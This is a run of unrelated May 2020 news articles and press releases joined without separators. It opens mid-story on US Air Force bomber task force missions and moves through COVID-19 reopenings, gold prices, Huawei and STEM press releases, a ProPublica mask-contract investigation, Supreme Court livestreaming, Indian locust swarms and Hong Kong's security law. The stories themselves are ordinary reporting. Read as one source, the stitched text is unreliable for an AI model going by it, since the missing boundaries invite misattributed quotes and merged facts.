Called Bomber Task Force (BTF) missions, the shorter flights -- with two to three bombers -- are not the same as a BTF deployment, he said. It's part of the Pentagon's larger "dynamic force employment" strategy for military units to test how nimbly they can move from place to place.

"It gives the appearance that we're in more places and we really are," Dawkins said.

In comparison, a BTF deployment could have four or more long-range aircraft stationed at a base for a few weeks to a few months, along with maintenance crews. The European theater has had a bomber rotation at least once a year as part of Operation Atlantic Resolve since Russia's annexation of Crimea in 2014. Right now, four B-1s are operating out of Andersen Air Force Base, Guam, roaming the South and East China Seas.

The bombers deployed to Andersen after the service suspended its continuous bomber presence (CPB) mission in the Pacific for the first time in 16 years.

A spokesman for Air Force Global Strike Command told Military.com that the CBP mission may return: The command is gathering data to see whether using BTF missions for dynamic force employment improves readiness, versus having a presence in one location for a longer time. The data should be compiled by year's end, the spokesman said.

On the other hand, BTF missions cherry-pick which bombers and crews set off for hours-long flights with the help of refueling tankers.

"It's a better way to assure our allies because we can cover more of the globe," Dawkins said.

Earlier this month, a BTF mission used two B-2s from Whiteman Air Force Base, Missouri; two B-52s from Minot Air Force Base, North Dakota; and two B-52s from Barksdale. The aircraft launched for training missions in Europe and the Pacific, according to Strategic Command. Photos posted on social media showed KC-135 Stratotankers from RAF Mildenhall, England, aiding in refueling B-52s in the region.

B-1s have also been in Europe with flights over Poland, Denmark, Latvia, Lithuania and Estonia.

"The U.S. Air Force makes it look simple, but there's a lot of moving parts behind it," Dawkins said.

The B-1 in particular is in a "crawl, walk, run" phase of testing how ready it is after years of being worn down by operations in the Middle East.

"We're in a jog right now with the B-1, actually," Dawkins said. The fleet will be in this experimental phase for at least a year, he added.

Dawkins said the Air Force is still pushing to retire 17 B-1s as part of its fiscal 2021 budget request, reducing the fleet to just 44.

"We still think it's the right move to make, where we take the 17 airplanes that require the most structural work and, rather than spend the money to repair those, we take that money savings and roll it back into things such as opening up the external hard points [for more weapons] or to have [fewer] airplanes to take care of for our maintainers," he said.

Just like pumping funding into the most viable planes, Dawkins said BTF missions are also likely to increase readiness -- not just for the B-1, but for all the bomber variants and the airmen who operate them.

"Being gone for six months, nine months, we saw that decreased our overall readiness being gone that long," he said.

B-52 crews that returned from Guam last month are in their own "reset" mode to catch up on training that they weren't able to do while deployed.

"Whether it's nuclear readiness training or other types of training that they weren't able to get out in Guam or out of Diego Garcia," such as a flag exercise, Dawkins said. Earlier this year, six B-52s headed to the island territory to be "available for operations against Iran if ordered," CNN reported.

"So we go out there, get familiar with a new theater, get familiar with operating with the allies and with ... command and control and communications work in that theater," he said.

BTF missions "really give the adversary a different look, because if you're always going to go to Guam all the time, there's not much that's different about that," Dawkins said.

"But if you're going to different places, say Diego Garcia, say Australia, Fairford in the United Kingdom, or some other place in Europe? That's giving the adversary something else to think about."

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Read more: B-1 Bomber May Become the New Face of US Military Power in the Pacific
In line with the latest government instructions, OPPO slowly reopens its stores in select locations nationwide with strict observance of COVID-19 health and safety protocols. Additionally, select OPPO Service Centers will slowly resume operations as well to serve customers with urgent needs for product repair and servicing.

To safely and responsibly serve OPPO customers, a series of proactive in-store precautionary measures are being observed within all OPPO branches nationwide, even prior to the implementation of ECQ. This includes temperature scanning of all employees and shoppers, mandatory wearing of face masks, a minimum of 6-feet social distancing, a thorough disinfection of the stores at least two times a day using hospital-grade cleaning tools, including but not limited to the in-store furniture pieces but as well as the demo smartphones, and an abundant supply of hand sanitizers or rubbing alcohol stationed within the stores. All customers and employees will be constantly reminded to practice hygienic measures, and follow the protocols recommended by the healthcare authorities. Moreover, a one-time in-store complimentary phone sanitization will be offered in all stores to disinfect customers devices.

Customers safety is the top-most priority of OPPO as we resume the stores and service centers operations this month. We understand the needs of our Filipino customers, and we are doing our best to smartly and safely cater to these demands despite the limited movements and resources available. While observing lockdown protocols, we have also strengthened our online channels to make our products more accessible to those who prefer to purchase OPPO smartphones from their homes. Terms and warranties were also modified to address the concerns of our users during these trying times, shared OPPO Philippines Vice President for National Sales Zen Han.
Washington, May 22 : A prominent Indian-American businessman has urged US President Donald Trump's administration to reopen the country's economy with "common sense precautions", highlighting the struggles Americas hoteliers were facing during the COVID-19 lockdown, the media reported.

Speaking at a roundtable of hospitality and tourism industry, hosted by Vice President Mike Pence in Orlando on Wednesday, Danny Gaekwad, Chairman of OSEM Hospitality Management, said such a move will "help our industry and our state get our economy moving again", the American Bazaar reported on Thursday.

Gaekwad was speaking as a representative of the Asian American Hotel Owners Association (AAHOA).

Besides Pence, the event was attended by Labor Secretary Eugene Scalia, Florida Governor Ron DeSantis and several prominent business leaders from the state.

Gaekwad and other industry leaders proposed a number of steps and a phased reopening of the economy.

"This pandemic hit the hotel industry particularly hard, and owners and employees alike continue to struggle," said Gaekwad, also a prominent Republican donor, told Pence.

"Reopening our businesses with common sense precautions that prioritize the health and wellbeing of employees and guests will help our industry and our state get our economy moving again." Gaekwad, a resident of Ocala, in central Florida, drew Pence's attention on the liquidity crisis members of AAHOA, who own nearly one in every two hotels in the country, were facing.

"If there is no guest, there is no dollar. If there is no dollar, don't even think about liquidity. Do we have liquidity? Absolutely not," the American Bazaar quoted the businessman as saying.

"As an immigrant, my whole family works in a business because it does bother us. I represent here more than 20,000 (AAOHA) members. We all came with an American Dream. I thought I saw 9/11, I thought I saw the greatest recession. I have never seen this and I was never prepared for this."
State Motor Vehicle Commission agencies, inspection stations and road test facilities will now remain closed into June, but officials hinted a solution may be coming for drivers who bought vehicles privately and cant register or drive them.

MVC facilities will now remain closed at least until June 8 to reduce the spread of the coronavirus, said Sue Fulton, chief administrator. They were originally closed on March 16.

But a day after an NJ Advance Media article told how how Virginia reopened 14 DMV agencies for appointment only transactions that cant be done online, a governors spokesman said the MVC was working on a solution for drivers unable to register and drive vehicles bought from a private seller. Registering and obtaining license plates for those vehicles have to be done in person.

The MVC is working diligently on an alternative registration/titling process for private sales that can be done without face-to-face contact, but still protects the customer from fraud, said Jerrel Harvey, a governors spokesman. No other details were available.

Other states have made provisions for essential, in-person business that cant be done online. Two states allow drivers to mail in or drop off documents to have a vehicle titles and license plates issued.

Virginia takes those drivers by appointment only at 14 agencies with plastic barriers between clerks and customers. Drivers have to wait in their cars until 10 minutes before their appointment and must wear masks and practice social distancing while inside.

Virginia plans to retrofit all 75 agencies and reopen them all by July or August, a spokeswoman told NJ Advance Media.

Using ideas from other states to partially open MVC agencies is difficult here due to high volume of customers served in agencies and the amount of COVID-19 cases, MVC officials said.

We have considered many possible options, and we will make the right decisions for the state of New Jersey, Fulton said, in an earlier interview.

There wasnt as much hope for teenagers waiting to take road tests to get their licenses. The idea of having certified driving instructors administer road tests drew a flat no from the governor when asked on Friday.

Road tests also require an in-person appointment at MVC testing facilities. Another out-of-state idea to give drivers licenses to teenagers who passed written exams without a road test was rejected earlier in the month for safety reasons.

Frustrated drivers who bought vehicles they cant register or use and parents of teen drivers-in-waiting continued to contact NJ Advance Media asking why the MVC doesnt have an alternative process. Some worried about how the MVC will handle the massive backlog of in person transactions once agencies re-open.

Last week, MVC officials extended expiring drivers licenses, vehicle registrations and inspection stickers and temporary tags another two months. Officials added those that expire in July to others that got a two-month reprieve from the documents expiration date.

Officers reiterated that other MVC business can be done on the agencys website, which increased the number of available online services. Most renewals of driver licenses, non-driver IDs, and registrations  including, for the first time, some commercial registrations  can be processed online at NJMVC.gov.

Customers can also change their address, pay fees, and access other services online.

Please subscribe now and support the local journalism YOU rely on and trust.

Larry Higgs may be reached at lhiggs@njadvancemedia.com.
Gold prices gained Rs 212 to Rs 47,100 per 10 gram in Mumbai on the back of a weaker dollar-rupee, escalating tension between the US and China and worries over a global economic recovery.

An emergency rate cut of 40 basis points by the Reserve Bank of India (RBI) earlier on May 22 and various liquidity measures announced to combat against COVID-19 supported bullion prices.

In international news, China is planning to pass new national security law for two special administrative regions -- Hong Kong and Macau -- which has drawn criticism from the US and sparked of domestic protest in Hong Kong.

Market participants will also keep an eye on meeting minutes expected from the European Central Bank (ECB).

The rate of 10 gram 18, 22 and 24-carat gold in Mumbai was Rs 35,325, Rs 43,144 and Rs 47,100 plus 3 percent GST.

In the futures market, gold touched an intraday high of Rs 47,130 and a low of Rs 46,464 on the Multi-Commodity Exchange (MCX). In the June series, the yellow metal touched a low of Rs 36,572 and a high of Rs 47,980.

Gold futures for June delivery increased Rs 597, or 1.29 percent, at Rs 46,985 per 10 gram in evening trade on a business turnover of 9,318 lots. The same for August delivery edged higher Rs 660, or 1.42 percent, at Rs 47,171 on a business turnover of 11,214 lots.

The value of the June and August contracts traded so far is Rs 2,237.93 crore and Rs 666.13 crore, respectively.

Similarly, Gold Mini contract for June gained Rs 553, or 1.19 percent at Rs 46,970 on a business turnover of 8,624 lots.

The gold/silver ratio currently stands at 100.11 to 1, which means the amount of silver required to buy one ounce of gold.

Silver prices fell Rs 255 to Rs 47,045 per kg from its closing on May 21.

Navneet Damani, Vice President, Motilal Oswal, sees domestic prices hovering in the range of Rs 46,600-47,125 per 10 gram.

At 12:56 pm (GMT), spot gold was up by $8.60 at $1,736.20 an ounce in London trading.
[May 22, 2020] Huawei Launches CloudFabric 2.0 Solution, Leading Data Center Networks into the Intelligence Era

SHENZHEN, China, May 22, 2020 /PRNewswire/ -- At the Huawei Global Analyst Summit (HAS) 2020 recently held in Shenzhen, Huawei launched its CloudFabric 2.0 Data Center Network Solution, an upgraded solution that delivers high-density 400GE super capacity, zero-packet-loss intelligent experience, and autonomous driving, leading data center networks into the intelligence era. "With the pervasive use of AI across industries, enterprise data centers that carry a large number of mission-critical services are evolving into the brains of enterprises," said Leon Wang, President of Huawei's Data Center Network Domain. "We're stepping into an intelligence era with data as the key production factor. Data center networks are facing a series of challenges, such as 10-fold surges in data volume, packet-loss-induced computing power loss, and delayed TTM and fault rectification." Huawei CloudFabric 2.0 solution copes with these challenges using the following key capabilities: Super capacity: New Huawei CloudEngine data center switches spport 48-port 400GE line cards with the highest per-slot density in the industry, resulting in a chassis with six times the industry average switching capacity. The switches also provide full compatibility with 10GE, 40GE, 100GE, and 400GE, implementing smooth evolution.

Intelligent experience: Huawei has upgraded its AI-based iLossless algorithm to implement dynamic congestion control and real-time closed-loop adjustment of queue scheduling based on the actual network traffic status. This ensures zero data packet loss and optimal network performance in real time, as well as fully unleashing computing power.

Autonomous driving: Based on Huawei's latest autonomous driving network management and control system - iMaster NCE-Fabric - the solution implements the industry's first L3 autonomous driving data center network, improves the deployment efficiency three-fold in Day 0 (planning and design), reduces configuration errors by 40% in Day 1 (service provisioning), and implements real-time network health evaluation and "1-3-5" troubleshooting in Day N (operation management), moving towards autonomy and self-healing.



Leon Wang continued, "Data is increasingly becoming an important strategic resource and a new production factor, and AI has become ubiquitous in multiple phases of data processing. As such, we have upgraded our CloudFabric solution to build ultra-broadband, lossless, and fully intelligent data center networks, helping enterprises mine intelligence from data, accelerate digital transformation, and promote digital economy development." In summary, this release is not only the upgrade of Huawei's solution, but also a joint innovation between Huawei and leading customers in the finance, Internet, and carrier industries. Adhering to the concept of leading data center networks into the intelligence era, Huawei data center network products and solutions have already served more than 9200 customers worldwide, and will continue to strive to create more value for customers.

SOURCE Huawei

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[May 22, 2020] STEM Learning: Promoting Hands-on Learning for Permanent Retention

MUMBAI, May 22, 2020 /PRNewswire/ -- Rote learning is defined as the memorization of information based on repetition. However, this kind of information does not stay with the child forever. People have learnt the laws of physics or maths theorems in their childhood, but have not been able to apply them in their daily lives. With the world fast moving towards futuristic technology, the children of today are under immense academic stress to be able to apply the concepts and principles of STEM (Science, Technology, Engineering & Maths) in real life situations. This is not possible, as learning has become more related to getting good grades in the examinations than understanding or instilling the concepts. In 1894, Dublin physicist Thomas Preston wrote: "Knowledge is not the mere memory of facts but the comprehension of their meaning in the story of nature." The teachers too are facing the same dilemma. They are forced into indulging in promoting rote based learning among students for faster learning. And even if they want to make students understand the concepts by applying meaning to them, they do not have the access to requisite facilities which can help them in this regard. They may not even be given enough time to attain the skill sets required to impart conceptual learning. There may even be circumstances where the teachers are petrified to use the new technology, given the sudden shift to E-learning, as the content has been created by someone else and they may not be comfortable with the new content they have been forced into relying on. Therefore, the teachers continue to adopt traditional methods of teaching with blackboards and textbooks, which leads to passive learning, disinterest in children, only half-hearted understanding of the subject matter and complete ignorance of real life applications. Therefore, to create an atmosphere of easy learning for students, the teachers need to have access to facilities that they are not just comfortable with, but they need to be 'empowered' with. As far back as in 2005, the National Curricular Framework of India (NCF) stated that children should be involved in 'active engagement through inquiry, exploration, questioning, debates, application and reflection, leading to theory building and the creation of new ideas'. The report gave equal importance to peer interactions to promote learning. Unfortunately, these measures have not witnessed a verdict yet. The need of the hour is to educate the educator and make learning more conceptual, mor hands on to give a new and actual meaning to 'understanding'. It becomes the innate responsibility of a teacher to shape and mould the students with scientific temper, lateral thinking and problem- solving. STEM Learning believes and intends to do just that.



Since 2011, STEM Learning has been working as a catalyst in the transformation of education by empowering children and teachers. Its innovative program the Mini Science Centre (MSC) consists of plug and-play exhibits, which are a prerequisite for teaching science and maths to school children in a simpler way. More than a million students have benefited till now with the help of MSCs as the exhibits form a new approach to assimilate fun and play in lessons, making learning easy. In fact, the students understand the concepts so well with the help of the exhibits that they start teaching other students, leading to peer-to-peer learning. Meanwhile, the existing teachers of schools are also empowered by providing special trainings to make their teaching more effective. More than 8000 teachers have till now been provided assistance to make them understand how to teach in a more simplified manner with the help of the exhibits, so that the students can understand faster. The teachers are not dependant anymore and this leads to their professional development as well. As the exhibits are easy to carry, they can be utilized in classrooms as well as during virtual training sessions.

The trained teachers have thus been able to create a sustainable impact on students' learning because the teaching aids elucidate the concepts and the students are able to envision corresponding images in their minds while discouraging confusion because of the hands on learning. In other words, unlike in rote learning, the students are able to relate with real life examples and observe the effects of changes during the activity. This program has led to a monumental transformation in the teaching pedagogy, thus changing the teaching as well as learning climate. Noticing this change in the education system being brought about by it, STEM.org- a US based international organization for STEM accreditation- has accredited STEM Learning for establishing a highly-effective set of STEM benchmarks. Ashutosh Pandit, the Founder of STEM Learning, while speaking about the importance of conceptual or hands-on learning says, "Rote learning is definitely an important aspect of the initial learning process. No one can dispute that. However, we can only find meaning of the concepts when we apply how's and why's to them. Without this inquisitiveness, the knowledge attained will remain incomplete. Students need a broader sense of meaningful learning, to keep their minds open to ingrain what they will learn in the future. The teachers are the main facilitators who can stimulate the students' minds not just with monologues but by affecting the learners' positively. The intention should be to engage all the senses of learners through effective teaching and self-experience." STEM Learning's MSC is therefore an all-encapsulating solution which is imperative in the changing time. It is cost-effective, provides students access to education crossing any geographical barriers and the teachers are empowered as well. This leads to a holistic development in the education process, while learning as well as teaching process become more dynamic, significant and perpetual. About Us About STEM Learning STEM Learning is India's leading CSR implementing partner in education. Its objective is to inculcate basic concepts of STEM (Science, Technology, Engineering, Mathematics) fields at the school level. It has introduced a unique program of Mini Science Centres in schools, which teaches students tough STEM concepts through plug & play models. STEM Learning has a wide presence in 23 states and successfully implemented 1700+ Mini Science Centres that have brought practical & quality education to the doorsteps of school children in rural & urban Maharashtra, Gujarat, Rajasthan, Goa, Karnataka, Delhi, Himachal Pradesh, J&K, Chhattisgarh, Tamil Nadu, Assam and many other towns across India. About STEM: Mini Science Centre Mini Science Centre (MSC) is a prerequisite for teaching Science and Maths to school children in a simpler way. It aims to lessen the gap between contextual and rote based learning, and replace it with a practical approach, which will equip children with the skills and knowledge needed to get lucrative opportunities in their fields of interest. http://www.minisciencecentre.in/ Logo: https://mma.prnewswire.com/media/965311/STEM_Logo_Logo.jpg

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The Feds Gave a Former White House Official $3 Million to Supply Masks to Navajo Hospitals. Some May Not Work.

Zach Fuentes, former deputy chief of staff to President Trump, won the contract just days after registering his company. He sold Chinese masks to the government just as federal regulators were scrutinizing foreign-made equipment.

ProPublica

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A former White House aide won a $3 million federal contract to supply respirator masks to Navajo Nation hospitals in New Mexico and Arizona 11 days after he created a company to sell personal protective equipment in response to the coronavirus pandemic.

Zach Fuentes, President Donald Trumps former deputy chief of staff, secured the deal with the Indian Health Service with limited competitive bidding and no prior federal contracting experience.

The IHS told ProPublica it has found that 247,000 of the masks delivered by Fuentes company  at a cost of roughly $800,000  may be unsuitable for medical use. An additional 130,400, worth about $422,000, are not the type specified in the procurement data, the agency said.

Whats more, the masks Fuentes agreed to provide  Chinese-made KN95s  have come under intense scrutiny from U.S. regulators amid concerns that they offered inadequate protection.

The IHS Navajo Area Office will determine if these masks will be returned, the agency said in a statement. The agency said it is verifying Fuentes companys April 8 statement to IHS that all the masks were certified by the Food and Drug Administration, and an FDA spokesperson said the agency cannot verify if the products were certified without the name of the manufacturer.

The IHS Navajo Area continues to work with tribal, state & local partners to ensure adequate numbers of staff, supplies, equipment, funding & other resources as we respond to #COVID19. The Gallup Indian Medical Center in NM was recently featured on @AC360: https://t.co/dZm7iFxQep  IndianHealthService (@IHSgov) April 21, 2020

Hospitals in the Navajo Nation, which spans Utah, New Mexico and Arizona, have been desperate for protective supplies as the numbers of coronavirus infections and deaths have grown quickly. As of Friday, the Navajo Nation reported 4,434 COVID-19 cases and 147 deaths, a crisis that has prompted outcries from members of Congress and demands for increased funding.

Fuentes initiated email contact with officials at IHS, a division of the Department of Health and Human Services, the agency said. After the contact, the agency informally solicited prices from a handful of face mask providers and chose Fuentes of the six companies that responded because his firm offered the best price and terms, IHS said. Fuentes also benefited from government procurement rules favoring veteran- and minority-owned businesses, the procurement data shows.

Fuentes said political connections to the Trump White House played no role in his companys selection. Nobody referred me from the White House. It was nothing like that, he said. Emphatically no.

The White House did not respond to a question about Fuentes contract.

IHS told ProPublica that Fuentes company reported that the masks were made in China, but the agency did not specify the manufacturer. Federal contracting records show without explanation that Fuentes refunded $250,000 to the IHS this month, and he said in an interview last week that he gave back money when he procured masks at a slightly reduced cost.

We went back to IHS and said, We were able to get this cheaper, Fuentes said. We will never gouge our customers.

Fuentes referred questions about the mask manufacturer and FDA certifications to his consultant, Sia N. Ashok, a business school classmate. In a phone interview, Ashok declined to name the manufacturer because it could violate the companys contract, she said.

Ashok said the company lived up to the terms of its contract with IHS and has all the FDA certifications it needs in place.

If the customer or IHS or anyone has any issues with anything, we would be more than happy to replace, she said.

Fuentes contract price of $3.24 per mask is more expensive than the pre-pandemic rate of about $1 per mask, but far less than what some government entities have paid at the height of the crisis. Mask costs can vary widely depending on availability, demand, quality and exact specifications.

Fuentes is a retired Coast Guard officer and protege of former White House chief of staff John Kelly. He formerly served as Kellys military aide while he was secretary of the Department of Homeland Security, and Fuentes followed Kelly to the White House. In December 2018, as Kelly prepared to leave, The New York Times reported that Fuentes had told associates he planned to hide out in a vague role at the White House until he qualified for a Coast Guard early retirement program. Fuentes retired in January from the Coast Guard after 15 years of service. He said his retirement was for medical reasons.

He jumped into the federal contracting world in April at a time of great opportunity  and high risk. The coronavirus pandemic loosened many federal procurement rules as agencies scrambled to respond to a national emergency. But as supplies of personal protective equipment ran out and many countries restricted exports, delivering on contracts became more difficult, and agencies have wrestled with incomplete orders, cancellations and possible counterfeit goods.

N95 masks were so scarce that the FDA in April allowed the use of some Chinese masks that had not been certified by U.S. regulators. But in recent weeks, the FDA narrowed its guidance after tests indicated that some of the products were not as effective as they should be, and it tightened restrictions on the use of Chinese masks by hospital and medical personnel.

Fuentes formed Zach Fuentes LLC as the emergency regulations were evolving.

In April, the FDA authorized the use of masks made by close to 90 manufacturers in China.

But the masks made by some of those manufacturers did not pass CDC tests because they did not filter out enough fine particles. In some cases, the masks failed utterly.

This month, the FDA rescinded its authorization for the vast majority of the Chinese manufacturers, published a much smaller list of respirators made by 14 approved manufacturers and tightened the standards for evaluating Chinese masks.

Eleven federal agencies, including IHS, have reported buying either KN95 masks, or N95 masks made outside the United States, according to contract data. Of those, Fuentes contract with IHS is the second-largest that mentions KN95 masks specifically. The largest contract was struck by FEMA, for $3.9 million, on May 4.

Overall, IHS has spent $85.4 million to respond to COVID-19 as of May 22, signing 318 contracts with 211 vendors, according to federal procurement records. The masks provided by Fuentes went to five IHS medical facilities and to a government warehouse.

Fuentes new company has also received a much smaller contract from the Bureau of Prisons to provide 10,000 N95 masks for $1.31 each, according to a BOP statement to ProPublica and procurement documents.

One IHS hospital slated to receive masks from Fuentes is the Gallup Indian Medical Center in New Mexico. A doctor there, who declined to be named because he was not authorized to speak publicly, said the facility initially had a shortage of protective equipment. Conditions have improved thanks to federal purchases and donations, he said, though staffers still have to reuse masks up to five times each, he said.

IHS facilities have sufficient quantities of N95 respirators at this time, an agency spokesman said.

Do you have access to information about federal contracts that should be public? Email yeganeh.torbati@propublica.org . Heres how to send tips and documents to ProPublica securely.
Chief Justice John G. Roberts Jr. called on justices in order of seniority during this month's livestreamed oral arguments. (Pablo Martinez Monsivais / Associated Press )

A lively debate is occurring about which pandemic-related emergency measures should be made permanent once things return to normal. Work from home? Online college classes? Tele-visits with the family doctor? Zoom cocktail parties?

My candidate: live-streaming of oral arguments before the U.S. Supreme Court, which occurred for the first time this month when the justices were hearing cases over the telephone.

Apparently a lot of people agree. Fix the Court, which campaigns for more transparency from the justices, is citing a PSB poll showing that 70% of respondents support continuing live online access to oral arguments, while 30% support a return to the courts pre-pandemic practice of posting audio on its website on Fridays. (The arguments take place on Mondays, Tuesdays and Wednesdays, meaning that by Friday an argument is old news.)

As Fix the Court notes, there have been mixed reviews for another aspect of the courts pandemic proceedings: an innovation in which Chief Justice John G. Roberts Jr. called on the justices to ask questions in order of seniority. The usual format is more of a free-for-all, though this term the court adopted a rule saying that lawyers could speak for two minutes before being interrupted.

Lyle Denniston, the longtime Supreme Court correspondent for the Baltimore Sun, complained on Twitter that the format harms equal status of each Justice, gives the [chief justice] arbitrary power, diminishes cross-bench exchanges, promotes wool-gathering by lawyers, prizes order over depth, lets technology triumph, looks amateurish.

Then there is the question of whether Roberts treated his colleagues fairly in managing the questioning, particularly whether he was evenhanded in cutting off questions by one justice and moving to another.

Leah Litman, a law professor at the University of Michigan, conducted a granular analysis of the arguments from the teleconferenced arguments. Although she concluded that Roberts appears to have done a somewhat evenhanded job of moderating the questions, at least ideologically, she also noted that the three shortest questioning periods the chief [justice] allowed were for his female colleagues.

Story continues

I have to admit that I didnt notice the gender disparities Litman cited when I listened to the arguments. And, to be fair, Litman acknowledges, even as she faults Roberts performance, that this was the courts first attempt at this new format, and a limited sample of only 10 arguments. And it is possible that if the format continues, the court will get better at it.

Roberts, who is acutely conscious of the way the court is perceived, should take Litmans comments to heart and aim to do better if the court decides to continue its pandemic questioning protocols once it returns to in-person arguments.

And it should do so. The take-your-turn format is preferable to the free-for-all that led to irksome interruptions, and apparently Justice Clarence Thomas agrees. Thomas long has been criticized for not asking questions at oral arguments, but he was an active and sometimes incisive questioner in the pandemic version. ("Thomas Speaks" seemed to garner the same attention as "Garbo Talks." But Thomas' participation in oral arguments isn't just a novelty. It's useful for both the public and for advocates in a case to know what's on his mind.)

Whatever the court does about protocol for questioning, the other innovation it adopted because of the pandemic  livestreaming of arguments  must be made permanent. For citizens eager to follow the courts public proceedings in real time, justices delayed is justice denied.

For the record:

12:51 PM, May. 22, 2020: This has been corrected to note that the firm that conducted the poll was PSB.


GREENVILLE, N.C. - A car wash worker in North Carolina found treasure amid the businesss trash when he discovered a $1,200 IRS stimulus check mixed in with the garbage.

Antonio Hernandez was taking out the trash at the Greenville car wash when he spotted the payment in the can, WITN-TV quoted his daughter, Michelle Alvarado, as saying.

Hernandez and Alvarado were able to track down recipient Charles Thompson, who said he was not even expecting to get a check after recently moving to a new address.

I was behind on rent, I work construction so I work by the day, and I just try to keep going and going as best I can, Thompson told the news station. That money helped put me ahead and put me on the right track a little bit, to get back on my feet.

Hernandez and Alvarado added that they were happy to help connect Thompson with the lost funds, even though they and Thompson had no idea how the check ended up at the car wash in the first place.

It was very important for him to receive that check, especially in these uncertain times, Alvarado said.

The IRS has been sending the economic impact payments to millions of Americans around the country as part of a rescue package aimed at combating the economic effects of shutdowns amid the coronavirus pandemic.
With Texas reopening and the long Memorial Day weekend approaching, more people may be out and about in San Antonio than usual.

And while most of the restrictions have been lifted, many businesses are requiring that people wear masks to enter. The city of San Antonio continues to recommend people wear a cloth covering of some type to guard against the spread of COVID-19. That might make it hard to recognize your friends and other familiar faces. Or would it?

See if you can name the notable San Antonians behind their masks by scrolling through the photos below.

RELATED: All the things you still can't do in Texas under Abbott's reopening
India is on high alert to tackle the menace of earlier-than-usual summer invasion of the desert locusts. The country's agriculture activity is at severe risk as a large swarm of locusts is making its way to Indian states such as Rajasthan after breeding and maturing in Iranian provinces and Pakistans Balochistan province.

The locust alert came on Wednesday after a month of monitoring by the locust warning office, a wing under the agriculture ministrys directorate of plant protection. Their field agents spotted clouds of the insects in mid-April in Rajasthans Sri Ganganagar and Jaisalmer districts.

The Ministry of Agriculture and Farmers Welfare has begun initiatives to promote regional cooperation to control the locust. There is consensus that the Desert Locust could pose a grave challenge in 2020. The ministry has already started efforts in the matter by deploying drones, satellite-derived tools, special fire-tenders and sprayers at pre-identified border locations. It is also considering to import equipment from the UK to control the locust, reported sources.

READ | Locusts attack crops in western MP, agri centres alerted

Indian Govt proposes joint effort to Iran and Pakistan to tackle locust

The Indian government has proposed a coordinated response to Iran and Pakistan for the desert locust control which is expected to move from spring breeding of Balochistan to summer breeding along India-Pakistan border. India has suggested providing pesticide Malathion to Pakistan to control the operation along the border, sources have reported. While Iran has positively responded to the offer, the Indian government is still awaiting a response from the Imran Khan-led administration.

Protocols are also in place for India to hold videoconferencing meetings with authorities in Pakistan for joint strategies as per sources.

READ | Locust swarms invade Rajasthan's Ajmer amid Covid; controlled after damaging crops

According to the Food and Agriculture Organization of the United Nations (FAO) reports, in Iran, hopper bands of the Locust are maturing along the southwestern coastal plains, and another generation of breeding is underway in the southeast where hatching is taking place on the coast and in the interior of Sistan-Baluchistan. While in Pakistan, adult groups are migrating to the India border from breeding areas in Baluchistan where hopper groups are present as well as in Pakistan's Punjab and Pakistan occupied Kashmir's Khyber Pakhtunkhwa.

Meanwhile, in India, more adult groups and small swarms have arrived from Pakistan in the past weeks and moved east into Rajasthan, reaching Jodhpur.

READ | Railways cancels intra-state tickets within Maharashtra, cites inter-district travel ban

Six border meetings between the Locust officers led by Plant Protection Advisers of India and Pakistan are held every year between June to November either at Munabao (India side) and or at Khokhropar (Pakistan side) for exchanging information on locust situation of both the countries, they said.

Further, the regional cooperation on locust control is driven by FAO. India participates in the meetings and sessions of the FAO's Desert Locust Control Committee, participates and organizes the meetings of FAO's Commission for Controlling Desert Locust in South West Asia; and participates in the Joint Survey Programmes with Pakistan and Iran organised by the FAO.

The desert locust is a species of locust, a swarming short-horned grasshopper. They are known to devour everything in their path, posing an unprecedented threat to the food supply and livelihoods of millions of people.

READ | Railways cancels intra-state tickets within Maharashtra, cites inter-district travel ban

(With ANI inputs)
NY Gov. Cuomo allows drive-in church services, in-person worship of 10 people or less

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New York Gov. Andrew Cuomo said this week that churches can begin hosting drive-in worship services as long as they follow strict social distancing guidelines. Additionally, houses of worship can hold in-person services as long as they're limited to 10 people or fewer.

Cuomo made the announcement as part of a press briefing in Albany Wednesday, saying that services could resume on Thursday as long as all participants use masks and follow social distancing rules.

The governor also noted that he is working with the states Interfaith Advisory Council to consider gradually reopening larger in-person worship. The announcement comes as different regions across the state are hitting the required benchmarks to begin reopening during the coronavirus pandemic.

I understand their desire to get back to religious ceremonies as soon as possible, Cuomo, 62, said.

As a former altar boy, I get it. I think even at this time of stress when people are so anxious and so confused, I think that religious ceremonies can be very comforting. But we need to find out how to do it, and do it safely, and do it smartly. The last thing we want to do is have a religious ceremony that winds up having more people infected.

Cuomo stressed that if people are smart and responsible, that infection rates will slow.

It is amazing how effective a mask is, Cuomo added.

The Rutherford Institute, a civil rights law group, celebrated Cuomos announcement, calling it a victory for common sense.

While federal and state governments have adopted specific restrictive measures in an effort to decelerate the spread of the COVID-19 virus, the current public health situation has not resulted in the suspension of fundamental constitutional rights such as religious freedom, stated Rutherford Institute President John W. Whitehead.

While there is a moral responsibility to not endanger other lives with our actions, that does not mean relinquishing all of our freedoms. Be responsible, but dont allow yourselves to be muzzled or your individual freedoms to be undermined.

The institute is representing a New York congregation that was forced to halt its drive-in worship services after it was threatened with $1,000 fines for holding services even though congregants adhered to social distancing guidelines.

The Central Bible Baptist Church was threatened with fines by the Massena Police Department after Pastor Samson Ryman held drive-in worship on May 3. The service was attended by 23 worshipers in 18 vehicles.

In response, the Rutherford Institute sent a letter to Police Chief Adam J. Love on behalf of the church. The letter argued that drive-in services with more than 10 people are legal.

You are mistaken in your assertion that church drive-in worship services are prohibited under New Yorks current emergency orders and could result in fines, wrote Whitehead in the letter.

[These fines] are grounded in a misunderstanding of the law and a misapplication of the Governors Executive Orders, which severely chills their exercise of the fundamental right to practice their religion.

In a Facebook post, Central Bible announced that it will return to holding drive-in services this Sunday.

We have no ill will towards our local officials. We believe them to have been outstanding for their work for our community and we are thankful. We honor and love our officials working day in and out to fight for and protect us, stated the church.

Central and their Pastor are Not against them. Were not rebels. We stand and live by the truth and principles of the Word of God! We are simply trying to have church services, without conflict, safely, legally and peaceably.
HONG KONG - Secret police, surveillance, arbitrary detentions, propaganda in classrooms - all these will be coming to Hong Kong under a far-reaching national security law Beijing is unilaterally imposing on the territory.

Details of the law submitted to China's rubber-stamp legislature on Friday specify that the Communist Party can deploy "relevant national security organs" to Hong Kong, giving legal cover for the first time for the mainland security apparatus to operate in the previously autonomous financial center.

With approval expected within a week, Beijing will be empowered to target its critics in the former British colony, as it has done on the Chinese mainland. Actions that once shocked, such as the kidnapping of booksellers from Hong Kong in 2015, will be legal - and perhaps routine.

A major question is how the United States may respond.

